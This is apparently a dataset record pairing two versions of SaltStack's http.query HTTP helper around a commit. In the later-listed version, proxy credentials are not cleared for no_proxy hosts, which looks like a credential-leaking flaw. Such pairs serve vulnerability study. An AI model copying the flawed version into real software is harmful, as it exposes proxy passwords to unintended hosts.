                ""http.query has been set to use requests, but the ""
                ""requests library does not seem to be installed""
            )
            log.error(ret[""error""])
            return ret
        else:
            requests_log = logging.getLogger(""requests"")
            requests_log.setLevel(logging.WARNING)

    # Some libraries don't support separation of url and GET parameters
    # Don't need a try/except block, since Salt depends on tornado
    url_full = salt.ext.tornado.httputil.url_concat(url, params) if params else url

    if ca_bundle is None:
        ca_bundle = get_ca_bundle(opts)

    if verify_ssl is None:
        verify_ssl = opts.get(""verify_ssl"", True)

    if cert is None:
        cert = opts.get(""cert"", None)

    if data_file is not None:
        data = _render(data_file, data_render, data_renderer, template_dict, opts)

    # Make sure no secret fields show up in logs
    log_url = sanitize_url(url_full, hide_fields)

    log.debug(""Requesting URL %s using %s method"", log_url, method)
    log.debug(""Using backend: %s"", backend)

    if method == ""POST"" and log.isEnabledFor(logging.TRACE):
        # Make sure no secret fields show up in logs
        if isinstance(data, dict):
            log_data = data.copy()
            if isinstance(hide_fields, list):
                for item in data:
                    for field in hide_fields:
                        if item == field:
                            log_data[item] = ""XXXXXXXXXX""
            log.trace(""Request POST Data: %s"", pprint.pformat(log_data))
        else:
            log.trace(""Request POST Data: %s"", pprint.pformat(data))

    if header_file is not None:
        header_tpl = _render(
            header_file, header_render, header_renderer, template_dict, opts
        )
        if isinstance(header_tpl, dict):
            header_dict = header_tpl
        else:
            header_list = header_tpl.splitlines()

    if header_dict is None:
        header_dict = {}

    if header_list is None:
        header_list = []

    if cookie_jar is None:
        cookie_jar = os.path.join(
            opts.get(""cachedir"", salt.syspaths.CACHE_DIR), ""cookies.txt""
        )
    if session_cookie_jar is None:
        session_cookie_jar = os.path.join(
            opts.get(""cachedir"", salt.syspaths.CACHE_DIR), ""cookies.session.p""
        )

    if persist_session is True and salt.utils.msgpack.HAS_MSGPACK:
        # TODO: This is hackish; it will overwrite the session cookie jar with
        # all cookies from this one connection, rather than behaving like a
        # proper cookie jar. Unfortunately, since session cookies do not
        # contain expirations, they can't be stored in a proper cookie jar.
        if os.path.isfile(session_cookie_jar):
            with salt.utils.files.fopen(session_cookie_jar, ""rb"") as fh_:
                session_cookies = salt.utils.msgpack.load(fh_)
            if isinstance(session_cookies, dict):
                header_dict.update(session_cookies)
        else:
            with salt.utils.files.fopen(session_cookie_jar, ""wb"") as fh_:
                salt.utils.msgpack.dump("""", fh_)

    for header in header_list:
        comps = header.split("":"")
        if len(comps) < 2:
            continue
        header_dict[comps[0].strip()] = comps[1].strip()

    if not auth:
        if username and password:
            auth = (username, password)

    if agent == USERAGENT:
        agent = ""{} http.query()"".format(agent)
    header_dict[""User-agent""] = agent

    if backend == ""requests"":
        sess = requests.Session()
        sess.auth = auth
        sess.headers.update(header_dict)
        log.trace(""Request Headers: %s"", sess.headers)
        sess_cookies = sess.cookies
        sess.verify = verify_ssl
    elif backend == ""urllib2"":
        sess_cookies = None
    else:
        # Tornado
        sess_cookies = None

    if cookies is not None:
        if cookie_format == ""mozilla"":
            sess_cookies = salt.ext.six.moves.http_cookiejar.MozillaCookieJar(
                cookie_jar
            )
        else:
            sess_cookies = salt.ext.six.moves.http_cookiejar.LWPCookieJar(cookie_jar)
        if not os.path.isfile(cookie_jar):
            sess_cookies.save()
        sess_cookies.load()

    if test is True:
        if test_url is None:
            return {}
        else:
            url = test_url
            ret[""test""] = True

    if backend == ""requests"":
        req_kwargs = {}
        if stream is True:
            if requests.__version__[0] == ""0"":
                # 'stream' was called 'prefetch' before 1.0, with flipped meaning
                req_kwargs[""prefetch""] = False
            else:
                req_kwargs[""stream""] = True

        # Client-side cert handling
        if cert is not None:
            if isinstance(cert, str):
                if os.path.exists(cert):
                    req_kwargs[""cert""] = cert
            elif isinstance(cert, list):
                if os.path.exists(cert[0]) and os.path.exists(cert[1]):
                    req_kwargs[""cert""] = cert
            else:
                log.error(
                    ""The client-side certificate path that""
                    "" was passed is not valid: %s"",
                    cert,
                )

        if formdata:
            if not formdata_fieldname:
                ret[""error""] = ""formdata_fieldname is required when formdata=True""
                log.error(ret[""error""])
                return ret
            result = sess.request(
                method,
                url,
                params=params,
                files={formdata_fieldname: (formdata_filename, StringIO(data))},
                **req_kwargs
            )
        else:
            result = sess.request(method, url, params=params, data=data, **req_kwargs)
        result.raise_for_status()
        if stream is True:
            # fake a HTTP response header
            header_callback(""HTTP/1.0 {} MESSAGE"".format(result.status_code))
            # fake streaming the content
            streaming_callback(result.content)
            return {
                ""handle"": result,
            }

        if handle is True:
            return {
                ""handle"": result,
                ""body"": result.content,
            }

        log.debug(
            ""Final URL location of Response: %s"", sanitize_url(result.url, hide_fields)
        )

        result_status_code = result.status_code
        result_headers = result.headers
        result_text = result.content
        result_cookies = result.cookies
        body = result.content
        if not isinstance(body, str) and decode_body:
            body = body.decode(result.encoding or ""utf-8"")
        ret[""body""] = body
    elif backend == ""urllib2"":
        request = urllib_request.Request(url_full, data)
        handlers = [
            urllib_request.HTTPHandler,
            urllib_request.HTTPCookieProcessor(sess_cookies),
        ]

        if url.startswith(""https""):
            hostname = request.get_host()
            handlers[0] = urllib_request.HTTPSHandler(1)
            if not HAS_MATCHHOSTNAME:
                log.warning(
                    ""match_hostname() not available, SSL hostname checking ""
                    ""not available. THIS CONNECTION MAY NOT BE SECURE!""
                )
            elif verify_ssl is False:
                log.warning(
                    ""SSL certificate verification has been explicitly ""
                    ""disabled. THIS CONNECTION MAY NOT BE SECURE!""
                )
            else:
                if "":"" in hostname:
                    hostname, port = hostname.split("":"")
                else:
                    port = 443
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((hostname, int(port)))
                sockwrap = ssl.wrap_socket(
                    sock, ca_certs=ca_bundle, cert_reqs=ssl.CERT_REQUIRED
                )
                try:
                    match_hostname(sockwrap.getpeercert(), hostname)
                except CertificateError as exc:
                    ret[
                        ""error""
                    ] = ""The certificate was invalid. Error returned was: {}"".format(
                        pprint.pformat(exc)
                    )
                    return ret

                # Client-side cert handling
                if cert is not None:
                    cert_chain = None
                    if isinstance(cert, str):
                        if os.path.exists(cert):
                            cert_chain = cert
                    elif isinstance(cert, list):
                        if os.path.exists(cert[0]) and os.path.exists(cert[1]):
                            cert_chain = cert
                    else:
                        log.error(
                            ""The client-side certificate path that was ""
                            ""passed is not valid: %s"",
                            cert,
                        )
                        return
                    if hasattr(ssl, ""SSLContext""):
                        # Python >= 2.7.9
                        context = ssl.SSLContext.load_cert_chain(*cert_chain)
                        handlers.append(
                            urllib_request.HTTPSHandler(context=context)
                        )  # pylint: disable=E1123
                    else:
                        # Python < 2.7.9
                        cert_kwargs = {
                            ""host"": request.get_host(),
                            ""port"": port,
                            ""cert_file"": cert_chain[0],
                        }
                        if len(cert_chain) > 1:
                            cert_kwargs[""key_file""] = cert_chain[1]
                        handlers[0] = salt.ext.six.moves.http_client.HTTPSConnection(
                            **cert_kwargs
                        )

        opener = urllib_request.build_opener(*handlers)
        for header in header_dict:
            request.add_header(header, header_dict[header])
        request.get_method = lambda: method
        try:
            result = opener.open(request)
        except URLError as exc:
            return {""Error"": str(exc)}
        if stream is True or handle is True:
            return {
                ""handle"": result,
                ""body"": result.content,
            }

        result_status_code = result.code
        result_headers = dict(result.info())
        result_text = result.read()
        if ""Content-Type"" in result_headers:
            res_content_type, res_params = cgi.parse_header(
                result_headers[""Content-Type""]
            )
            if (
                res_content_type.startswith(""text/"")
                and ""charset"" in res_params
                and not isinstance(result_text, str)
            ):
                result_text = result_text.decode(res_params[""charset""])
        if six.PY3 and isinstance(result_text, bytes) and decode_body:
            result_text = result_text.decode(""utf-8"")
        ret[""body""] = result_text
    else:
        # Tornado
        req_kwargs = {}

        # Client-side cert handling
        if cert is not None:
            if isinstance(cert, str):
                if os.path.exists(cert):
                    req_kwargs[""client_cert""] = cert
            elif isinstance(cert, list):
                if os.path.exists(cert[0]) and os.path.exists(cert[1]):
                    req_kwargs[""client_cert""] = cert[0]
                    req_kwargs[""client_key""] = cert[1]
            else:
                log.error(
                    ""The client-side certificate path that ""
                    ""was passed is not valid: %s"",
                    cert,
                )

        if isinstance(data, dict):
            data = _urlencode(data)

        if verify_ssl:
            req_kwargs[""ca_certs""] = ca_bundle

        max_body = opts.get(
            ""http_max_body"", salt.config.DEFAULT_MINION_OPTS[""http_max_body""]
        )
        connect_timeout = opts.get(
            ""http_connect_timeout"",
            salt.config.DEFAULT_MINION_OPTS[""http_connect_timeout""],
        )
        timeout = opts.get(
            ""http_request_timeout"",
            salt.config.DEFAULT_MINION_OPTS[""http_request_timeout""],
        )

        client_argspec = None

        proxy_host = opts.get(""proxy_host"", None)
        if proxy_host:
            # tornado requires a str for proxy_host, cannot be a unicode str in py2
            proxy_host = salt.utils.stringutils.to_str(proxy_host)
        proxy_port = opts.get(""proxy_port"", None)
        proxy_username = opts.get(""proxy_username"", None)
        if proxy_username:
            # tornado requires a str, cannot be unicode str in py2
            proxy_username = salt.utils.stringutils.to_str(proxy_username)
        proxy_password = opts.get(""proxy_password"", None)
        if proxy_password:
            # tornado requires a str, cannot be unicode str in py2
            proxy_password = salt.utils.stringutils.to_str(proxy_password)
        no_proxy = opts.get(""no_proxy"", [])

        # Since tornado doesnt support no_proxy, we'll always hand it empty proxies or valid ones
        # except we remove the valid ones if a url has a no_proxy hostname in it
        if urlparse(url_full).hostname in no_proxy:
            proxy_host = None
            proxy_port = None
            proxy_username = None
            proxy_password = None

        # We want to use curl_http if we have a proxy defined
        if proxy_host and proxy_port:
            if HAS_CURL_HTTPCLIENT is False:
                ret[""error""] = (
                    ""proxy_host and proxy_port has been set. This requires pycurl and tornado, ""
                    ""but the libraries does not seem to be installed""
                )
                log.error(ret[""error""])
                return ret

            salt.ext.tornado.httpclient.AsyncHTTPClient.configure(
                ""tornado.curl_httpclient.CurlAsyncHTTPClient""
            )
            client_argspec = salt.utils.args.get_function_argspec(
                salt.ext.tornado.curl_httpclient.CurlAsyncHTTPClient.initialize
            )
        else:
            salt.ext.tornado.httpclient.AsyncHTTPClient.configure(None)
            client_argspec = salt.utils.args.get_function_argspec(
                salt.ext.tornado.simple_httpclient.SimpleAsyncHTTPClient.initialize
            )

        supports_max_body_size = ""max_body_size"" in client_argspec.args

        req_kwargs.update(
            {
                ""method"": method,
                ""headers"": header_dict,
                ""auth_username"": username,
                ""auth_password"": password,
                ""body"": data,
                ""validate_cert"": verify_ssl,
                ""allow_nonstandard_methods"": True,
                ""streaming_callback"": streaming_callback,
                ""header_callback"": header_callback,
                ""connect_timeout"": connect_timeout,
                ""request_timeout"": timeout,
                ""proxy_host"": proxy_host,
                ""proxy_port"": proxy_port,
                ""proxy_username"": proxy_username,
                ""proxy_password"": proxy_password,
                ""raise_error"": raise_error,
                ""decompress_response"": False,
            }
        )

        # Unicode types will cause a TypeError when Tornado's curl HTTPClient
        # invokes setopt. Therefore, make sure all arguments we pass which
        # contain strings are str types.
        req_kwargs = salt.utils.data.decode(req_kwargs, to_str=True)

        try:
            download_client = (
                HTTPClient(max_body_size=max_body)
                if supports_max_body_size
                else HTTPClient()
            )
            result = download_client.fetch(url_full, **req_kwargs)
        except salt.ext.tornado.httpclient.HTTPError as exc:
            ret[""status""] = exc.code
            ret[""error""] = str(exc)
            return ret
        except (socket.herror, OSError, socket.timeout, socket.gaierror) as exc:
            if status is True:
                ret[""status""] = 0
            ret[""error""] = str(exc)
            log.debug(""Cannot perform 'http.query': %s - %s"", url_full, ret[""error""])
            return ret

        if stream is True or handle is True:
            return {
                ""handle"": result,
                ""body"": result.body,
            }

        result_status_code = result.code
        result_headers = result.headers
        result_text = result.body
        if ""Content-Type"" in result_headers:
            res_content_type, res_params = cgi.parse_header(
                result_headers[""Content-Type""]
            )
            if (
                res_content_type.startswith(""text/"")
                and ""charset"" in res_params
                and not isinstance(result_text, str)
            ):
                result_text = result_text.decode(res_params[""charset""])
        if six.PY3 and isinstance(result_text, bytes) and decode_body:
            result_text = result_text.decode(""utf-8"")
        ret[""body""] = result_text
        if ""Set-Cookie"" in result_headers and cookies is not None:
            result_cookies = parse_cookie_header(result_headers[""Set-Cookie""])
            for item in result_cookies:
                sess_cookies.set_cookie(item)
        else:
            result_cookies = None

    if isinstance(result_headers, list):
        result_headers_dict = {}
        for header in result_headers:
            comps = header.split("":"")
            result_headers_dict[comps[0].strip()] = "":"".join(comps[1:]).strip()
        result_headers = result_headers_dict

    log.debug(""Response Status Code: %s"", result_status_code)
    log.trace(""Response Headers: %s"", result_headers)
    log.trace(""Response Cookies: %s"", sess_cookies)
    # log.trace(""Content: %s"", result_text)

    coding = result_headers.get(""Content-Encoding"", ""identity"")

    # Requests will always decompress the content, and working around that is annoying.
    if backend != ""requests"":
        result_text = __decompressContent(coding, result_text)

    try:
        log.trace(""Response Text: %s"", result_text)
    except UnicodeEncodeError as exc:
        log.trace(
            ""Cannot Trace Log Response Text: %s. This may be due to ""
            ""incompatibilities between requests and logging."",
            exc,
        )

    if text_out is not None:
        with salt.utils.files.fopen(text_out, ""w"") as tof:
            tof.write(result_text)

    if headers_out is not None and os.path.exists(headers_out):
        with salt.utils.files.fopen(headers_out, ""w"") as hof:
            hof.write(result_headers)

    if cookies is not None:
        sess_cookies.save()

    if persist_session is True and salt.utils.msgpack.HAS_MSGPACK:
        # TODO: See persist_session above
        if ""set-cookie"" in result_headers:
            with salt.utils.files.fopen(session_cookie_jar, ""wb"") as fh_:
                session_cookies = result_headers.get(""set-cookie"", None)
                if session_cookies is not None:
                    salt.utils.msgpack.dump({""Cookie"": session_cookies}, fh_)
                else:
                    salt.utils.msgpack.dump("""", fh_)

    if status is True:
        ret[""status""] = result_status_code

    if headers is True:
        ret[""headers""] = result_headers

    if decode is True:
        if decode_type == ""auto"":
            content_type = result_headers.get(""content-type"", ""application/json"")
            if ""xml"" in content_type:
                decode_type = ""xml""
            elif ""json"" in content_type:
                decode_type = ""json""
            elif ""yaml"" in content_type:
                decode_type = ""yaml""
            else:
                decode_type = ""plain""

        valid_decodes = (""json"", ""xml"", ""yaml"", ""plain"")
        if decode_type not in valid_decodes:
            ret[
                ""error""
            ] = ""Invalid decode_type specified. Valid decode types are: {}"".format(
                pprint.pformat(valid_decodes)
            )
            log.error(ret[""error""])
            return ret

        if decode_type == ""json"":
            ret[""dict""] = salt.utils.json.loads(result_text)
        elif decode_type == ""xml"":
            ret[""dict""] = []
            items = ET.fromstring(result_text)
            for item in items:
                ret[""dict""].append(xml.to_dict(item))
        elif decode_type == ""yaml"":
            ret[""dict""] = salt.utils.data.decode(salt.utils.yaml.safe_load(result_text))
        else:
            text = True

        if decode_out:
            with salt.utils.files.fopen(decode_out, ""w"") as dof:
                dof.write(result_text)

    if text is True:
        ret[""text""] = result_text

    return ret",,saltstack/salt,2668851917a093995c2fbd66a02edc804a275402,"def query(
    url,
    method=""GET"",
    params=None,
    data=None,
    data_file=None,
    header_dict=None,
    header_list=None,
    header_file=None,
    username=None,
    password=None,
    auth=None,
    decode=False,
    decode_type=""auto"",
    status=False,
    headers=False,
    text=False,
    cookies=None,
    cookie_jar=None,
    cookie_format=""lwp"",
    persist_session=False,
    session_cookie_jar=None,
    data_render=False,
    data_renderer=None,
    header_render=False,
    header_renderer=None,
    template_dict=None,
    test=False,
    test_url=None,
    node=""minion"",
    port=80,
    opts=None,
    backend=None,
    ca_bundle=None,
    verify_ssl=None,
    cert=None,
    text_out=None,
    headers_out=None,
    decode_out=None,
    stream=False,
    streaming_callback=None,
    header_callback=None,
    handle=False,
    agent=USERAGENT,
    hide_fields=None,
    raise_error=True,
    formdata=False,
    formdata_fieldname=None,
    formdata_filename=None,
    decode_body=True,
    **kwargs
):
    """"""
    Query a resource, and decode the return data
    """"""
    ret = {}

    if opts is None:
        if node == ""master"":
            opts = salt.config.master_config(
                os.path.join(salt.syspaths.CONFIG_DIR, ""master"")
            )
        elif node == ""minion"":
            opts = salt.config.minion_config(
                os.path.join(salt.syspaths.CONFIG_DIR, ""minion"")
            )
        else:
            opts = {}

    if not backend:
        backend = opts.get(""backend"", ""tornado"")

    match = re.match(
        r""https?://((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)($|/)"",
        url,
    )
    if not match:
        salt.utils.network.refresh_dns()

    if backend == ""requests"":
        if HAS_REQUESTS is False:
            ret[""error""] = (
                ""http.query has been set to use requests, but the ""
                ""requests library does not seem to be installed""
            )
            log.error(ret[""error""])
            return ret
        else:
            requests_log = logging.getLogger(""requests"")
            requests_log.setLevel(logging.WARNING)

    # Some libraries don't support separation of url and GET parameters
    # Don't need a try/except block, since Salt depends on tornado
    url_full = salt.ext.tornado.httputil.url_concat(url, params) if params else url

    if ca_bundle is None:
        ca_bundle = get_ca_bundle(opts)

    if verify_ssl is None:
        verify_ssl = opts.get(""verify_ssl"", True)

    if cert is None:
        cert = opts.get(""cert"", None)

    if data_file is not None:
        data = _render(data_file, data_render, data_renderer, template_dict, opts)

    # Make sure no secret fields show up in logs
    log_url = sanitize_url(url_full, hide_fields)

    log.debug(""Requesting URL %s using %s method"", log_url, method)
    log.debug(""Using backend: %s"", backend)

    if method == ""POST"" and log.isEnabledFor(logging.TRACE):
        # Make sure no secret fields show up in logs
        if isinstance(data, dict):
            log_data = data.copy()
            if isinstance(hide_fields, list):
                for item in data:
                    for field in hide_fields:
                        if item == field:
                            log_data[item] = ""XXXXXXXXXX""
            log.trace(""Request POST Data: %s"", pprint.pformat(log_data))
        else:
            log.trace(""Request POST Data: %s"", pprint.pformat(data))

    if header_file is not None:
        header_tpl = _render(
            header_file, header_render, header_renderer, template_dict, opts
        )
        if isinstance(header_tpl, dict):
            header_dict = header_tpl
        else:
            header_list = header_tpl.splitlines()

    if header_dict is None:
        header_dict = {}

    if header_list is None:
        header_list = []

    if cookie_jar is None:
        cookie_jar = os.path.join(
            opts.get(""cachedir"", salt.syspaths.CACHE_DIR), ""cookies.txt""
        )
    if session_cookie_jar is None:
        session_cookie_jar = os.path.join(
            opts.get(""cachedir"", salt.syspaths.CACHE_DIR), ""cookies.session.p""
        )

    if persist_session is True and salt.utils.msgpack.HAS_MSGPACK:
        # TODO: This is hackish; it will overwrite the session cookie jar with
        # all cookies from this one connection, rather than behaving like a
        # proper cookie jar. Unfortunately, since session cookies do not
        # contain expirations, they can't be stored in a proper cookie jar.
        if os.path.isfile(session_cookie_jar):
            with salt.utils.files.fopen(session_cookie_jar, ""rb"") as fh_:
                session_cookies = salt.utils.msgpack.load(fh_)
            if isinstance(session_cookies, dict):
                header_dict.update(session_cookies)
        else:
            with salt.utils.files.fopen(session_cookie_jar, ""wb"") as fh_:
                salt.utils.msgpack.dump("""", fh_)

    for header in header_list:
        comps = header.split("":"")
        if len(comps) < 2:
            continue
        header_dict[comps[0].strip()] = comps[1].strip()

    if not auth:
        if username and password:
            auth = (username, password)

    if agent == USERAGENT:
        agent = ""{} http.query()"".format(agent)
    header_dict[""User-agent""] = agent

    if backend == ""requests"":
        sess = requests.Session()
        sess.auth = auth
        sess.headers.update(header_dict)
        log.trace(""Request Headers: %s"", sess.headers)
        sess_cookies = sess.cookies
        sess.verify = verify_ssl
    elif backend == ""urllib2"":
        sess_cookies = None
    else:
        # Tornado
        sess_cookies = None

    if cookies is not None:
        if cookie_format == ""mozilla"":
            sess_cookies = salt.ext.six.moves.http_cookiejar.MozillaCookieJar(
                cookie_jar
            )
        else:
            sess_cookies = salt.ext.six.moves.http_cookiejar.LWPCookieJar(cookie_jar)
        if not os.path.isfile(cookie_jar):
            sess_cookies.save()
        sess_cookies.load()

    if test is True:
        if test_url is None:
            return {}
        else:
            url = test_url
            ret[""test""] = True

    if backend == ""requests"":
        req_kwargs = {}
        if stream is True:
            if requests.__version__[0] == ""0"":
                # 'stream' was called 'prefetch' before 1.0, with flipped meaning
                req_kwargs[""prefetch""] = False
            else:
                req_kwargs[""stream""] = True

        # Client-side cert handling
        if cert is not None:
            if isinstance(cert, str):
                if os.path.exists(cert):
                    req_kwargs[""cert""] = cert
            elif isinstance(cert, list):
                if os.path.exists(cert[0]) and os.path.exists(cert[1]):
                    req_kwargs[""cert""] = cert
            else:
                log.error(
                    ""The client-side certificate path that""
                    "" was passed is not valid: %s"",
                    cert,
                )

        if formdata:
            if not formdata_fieldname:
                ret[""error""] = ""formdata_fieldname is required when formdata=True""
                log.error(ret[""error""])
                return ret
            result = sess.request(
                method,
                url,
                params=params,
                files={formdata_fieldname: (formdata_filename, StringIO(data))},
                **req_kwargs
            )
        else:
            result = sess.request(method, url, params=params, data=data, **req_kwargs)
        result.raise_for_status()
        if stream is True:
            # fake a HTTP response header
            header_callback(""HTTP/1.0 {} MESSAGE"".format(result.status_code))
            # fake streaming the content
            streaming_callback(result.content)
            return {
                ""handle"": result,
            }

        if handle is True:
            return {
                ""handle"": result,
                ""body"": result.content,
            }

        log.debug(
            ""Final URL location of Response: %s"", sanitize_url(result.url, hide_fields)
        )

        result_status_code = result.status_code
        result_headers = result.headers
        result_text = result.content
        result_cookies = result.cookies
        body = result.content
        if not isinstance(body, str) and decode_body:
            body = body.decode(result.encoding or ""utf-8"")
        ret[""body""] = body
    elif backend == ""urllib2"":
        request = urllib_request.Request(url_full, data)
        handlers = [
            urllib_request.HTTPHandler,
            urllib_request.HTTPCookieProcessor(sess_cookies),
        ]

        if url.startswith(""https""):
            hostname = request.get_host()
            handlers[0] = urllib_request.HTTPSHandler(1)
            if not HAS_MATCHHOSTNAME:
                log.warning(
                    ""match_hostname() not available, SSL hostname checking ""
                    ""not available. THIS CONNECTION MAY NOT BE SECURE!""
                )
            elif verify_ssl is False:
                log.warning(
                    ""SSL certificate verification has been explicitly ""
                    ""disabled. THIS CONNECTION MAY NOT BE SECURE!""
                )
            else:
                if "":"" in hostname:
                    hostname, port = hostname.split("":"")
                else:
                    port = 443
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((hostname, int(port)))
                sockwrap = ssl.wrap_socket(
                    sock, ca_certs=ca_bundle, cert_reqs=ssl.CERT_REQUIRED
                )
                try:
                    match_hostname(sockwrap.getpeercert(), hostname)
                except CertificateError as exc:
                    ret[
                        ""error""
                    ] = ""The certificate was invalid. Error returned was: {}"".format(
                        pprint.pformat(exc)
                    )
                    return ret

                # Client-side cert handling
                if cert is not None:
                    cert_chain = None
                    if isinstance(cert, str):
                        if os.path.exists(cert):
                            cert_chain = cert
                    elif isinstance(cert, list):
                        if os.path.exists(cert[0]) and os.path.exists(cert[1]):
                            cert_chain = cert
                    else:
                        log.error(
                            ""The client-side certificate path that was ""
                            ""passed is not valid: %s"",
                            cert,
                        )
                        return
                    if hasattr(ssl, ""SSLContext""):
                        # Python >= 2.7.9
                        context = ssl.SSLContext.load_cert_chain(*cert_chain)
                        handlers.append(
                            urllib_request.HTTPSHandler(context=context)
                        )  # pylint: disable=E1123
                    else:
                        # Python < 2.7.9
                        cert_kwargs = {
                            ""host"": request.get_host(),
                            ""port"": port,
                            ""cert_file"": cert_chain[0],
                        }
                        if len(cert_chain) > 1:
                            cert_kwargs[""key_file""] = cert_chain[1]
                        handlers[0] = salt.ext.six.moves.http_client.HTTPSConnection(
                            **cert_kwargs
                        )

        opener = urllib_request.build_opener(*handlers)
        for header in header_dict:
            request.add_header(header, header_dict[header])
        request.get_method = lambda: method
        try:
            result = opener.open(request)
        except URLError as exc:
            return {""Error"": str(exc)}
        if stream is True or handle is True:
            return {
                ""handle"": result,
                ""body"": result.content,
            }

        result_status_code = result.code
        result_headers = dict(result.info())
        result_text = result.read()
        if ""Content-Type"" in result_headers:
            res_content_type, res_params = cgi.parse_header(
                result_headers[""Content-Type""]
            )
            if (
                res_content_type.startswith(""text/"")
                and ""charset"" in res_params
                and not isinstance(result_text, str)
            ):
                result_text = result_text.decode(res_params[""charset""])
        if six.PY3 and isinstance(result_text, bytes) and decode_body:
            result_text = result_text.decode(""utf-8"")
        ret[""body""] = result_text
    else:
        # Tornado
        req_kwargs = {}

        # Client-side cert handling
        if cert is not None:
            if isinstance(cert, str):
                if os.path.exists(cert):
                    req_kwargs[""client_cert""] = cert
            elif isinstance(cert, list):
                if os.path.exists(cert[0]) and os.path.exists(cert[1]):
                    req_kwargs[""client_cert""] = cert[0]
                    req_kwargs[""client_key""] = cert[1]
            else:
                log.error(
                    ""The client-side certificate path that ""
                    ""was passed is not valid: %s"",
                    cert,
                )

        if isinstance(data, dict):
            data = _urlencode(data)

        if verify_ssl:
            req_kwargs[""ca_certs""] = ca_bundle

        max_body = opts.get(
            ""http_max_body"", salt.config.DEFAULT_MINION_OPTS[""http_max_body""]
        )
        connect_timeout = opts.get(
            ""http_connect_timeout"",
            salt.config.DEFAULT_MINION_OPTS[""http_connect_timeout""],
        )
        timeout = opts.get(
            ""http_request_timeout"",
            salt.config.DEFAULT_MINION_OPTS[""http_request_timeout""],
        )

        client_argspec = None

        proxy_host = opts.get(""proxy_host"", None)
        if proxy_host:
            # tornado requires a str for proxy_host, cannot be a unicode str in py2
            proxy_host = salt.utils.stringutils.to_str(proxy_host)
        proxy_port = opts.get(""proxy_port"", None)
        proxy_username = opts.get(""proxy_username"", None)
        if proxy_username:
            # tornado requires a str, cannot be unicode str in py2
            proxy_username = salt.utils.stringutils.to_str(proxy_username)
        proxy_password = opts.get(""proxy_password"", None)
        if proxy_password:
            # tornado requires a str, cannot be unicode str in py2
            proxy_password = salt.utils.stringutils.to_str(proxy_password)
        no_proxy = opts.get(""no_proxy"", [])

        # Since tornado doesnt support no_proxy, we'll always hand it empty proxies or valid ones
        # except we remove the valid ones if a url has a no_proxy hostname in it
        if urlparse(url_full).hostname in no_proxy:
            proxy_host = None
            proxy_port = None

        # We want to use curl_http if we have a proxy defined
        if proxy_host and proxy_port:
            if HAS_CURL_HTTPCLIENT is False:
                ret[""error""] = (
                    ""proxy_host and proxy_port has been set. This requires pycurl and tornado, ""
                    ""but the libraries does not seem to be installed""
                )
                log.error(ret[""error""])
                return ret

            salt.ext.tornado.httpclient.AsyncHTTPClient.configure(
                ""tornado.curl_httpclient.CurlAsyncHTTPClient""
            )
            client_argspec = salt.utils.args.get_function_argspec(
                salt.ext.tornado.curl_httpclient.CurlAsyncHTTPClient.initialize
            )
        else:
            client_argspec = salt.utils.args.get_function_argspec(
                salt.ext.tornado.simple_httpclient.SimpleAsyncHTTPClient.initialize
            )

        supports_max_body_size = ""max_body_size"" in client_argspec.args

        req_kwargs.update(
            {
                ""method"": method,
                ""headers"": header_dict,
                ""auth_username"": username,
                ""auth_password"": password,
                ""body"": data,
                ""validate_cert"": verify_ssl,
                ""allow_nonstandard_methods"": True,
                ""streaming_callback"": streaming_callback,
                ""header_callback"": header_callback,
                ""connect_timeout"": connect_timeout,
                ""request_timeout"": timeout,
                ""proxy_host"": proxy_host,
                ""proxy_port"": proxy_port,
                ""proxy_username"": proxy_username,
                ""proxy_password"": proxy_password,
                ""raise_error"": raise_error,
                ""decompress_response"": False,
            }
        )

        # Unicode types will cause a TypeError when Tornado's curl HTTPClient
        # invokes setopt. Therefore, make sure all arguments we pass which
        # contain strings are str types.
        req_kwargs = salt.utils.data.decode(req_kwargs, to_str=True)

        try:
            download_client = (
                HTTPClient(max_body_size=max_body)
                if supports_max_body_size
                else HTTPClient()
            )
            result = download_client.fetch(url_full, **req_kwargs)
        except salt.ext.tornado.httpclient.HTTPError as exc:
            ret[""status""] = exc.code
            ret[""error""] = str(exc)
            return ret
        except (socket.herror, OSError, socket.timeout, socket.gaierror) as exc:
            if status is True:
                ret[""status""] = 0
            ret[""error""] = str(exc)
            log.debug(""Cannot perform 'http.query': %s - %s"", url_full, ret[""error""])
            return ret

        if stream is True or handle is True:
            return {
                ""handle"": result,
                ""body"": result.body,
            }

        result_status_code = result.code
        result_headers = result.headers
        result_text = result.body
        if ""Content-Type"" in result_headers:
            res_content_type, res_params = cgi.parse_header(
                result_headers[""Content-Type""]
            )
            if (
                res_content_type.startswith(""text/"")
                and ""charset"" in res_params
                and not isinstance(result_text, str)
            ):
                result_text = result_text.decode(res_params[""charset""])
        if six.PY3 and isinstance(result_text, bytes) and decode_body:
            result_text = result_text.decode(""utf-8"")
        ret[""body""] = result_text
        if ""Set-Cookie"" in result_headers and cookies is not None:
            result_cookies = parse_cookie_header(result_headers[""Set-Cookie""])
            for item in result_cookies:
                sess_cookies.set_cookie(item)
        else:
            result_cookies = None

    if isinstance(result_headers, list):
        result_headers_dict = {}
        for header in result_headers:
            comps = header.split("":"")
            result_headers_dict[comps[0].strip()] = "":"".join(comps[1:]).strip()
        result_headers = result_headers_dict

    log.debug(""Response Status Code: %s"", result_status_code)
    log.trace(""Response Headers: %s"", result_headers)
    log.trace(""Response Cookies: %s"", sess_cookies)
    # log.trace(""Content: %s"", result_text)

    coding = result_headers.get(""Content-Encoding"", ""identity"")

    # Requests will always decompress the content, and working around that is annoying.
    if backend != ""requests"":
        result_text = __decompressContent(coding, result_text)

    try:
        log.trace(""Response Text: %s"", result_text)
    except UnicodeEncodeError as exc:
        log.trace(
            ""Cannot Trace Log Response Text: %s. This may be due to ""
            ""incompatibilities between requests and logging."",
            exc,
        )

    if text_out is not None:
        with salt.utils.files.fopen(text_out, ""w"") as tof:
            tof.write(result_text)

    if headers_out is not None and os.path.exists(headers_out):
        with salt.utils.files.fopen(headers_out, ""w"") as hof:
            hof.write(result_headers)

    if cookies is not None:
        sess_cookies.save()

    if persist_session is True and salt.utils.msgpack.HAS_MSGPACK:
        # TODO: See persist_session above
        if ""set-cookie"" in result_headers:
            with salt.utils.files.fopen(session_cookie_jar, ""wb"") as fh_:
                session_cookies = result_headers.get(""set-cookie"", None)
                if session_cookies is not None:
                    salt.utils.msgpack.dump({""Cookie"": session_cookies}, fh_)
                else:
                    salt.utils.msgpack.dump("""", fh_)

    if status is True:
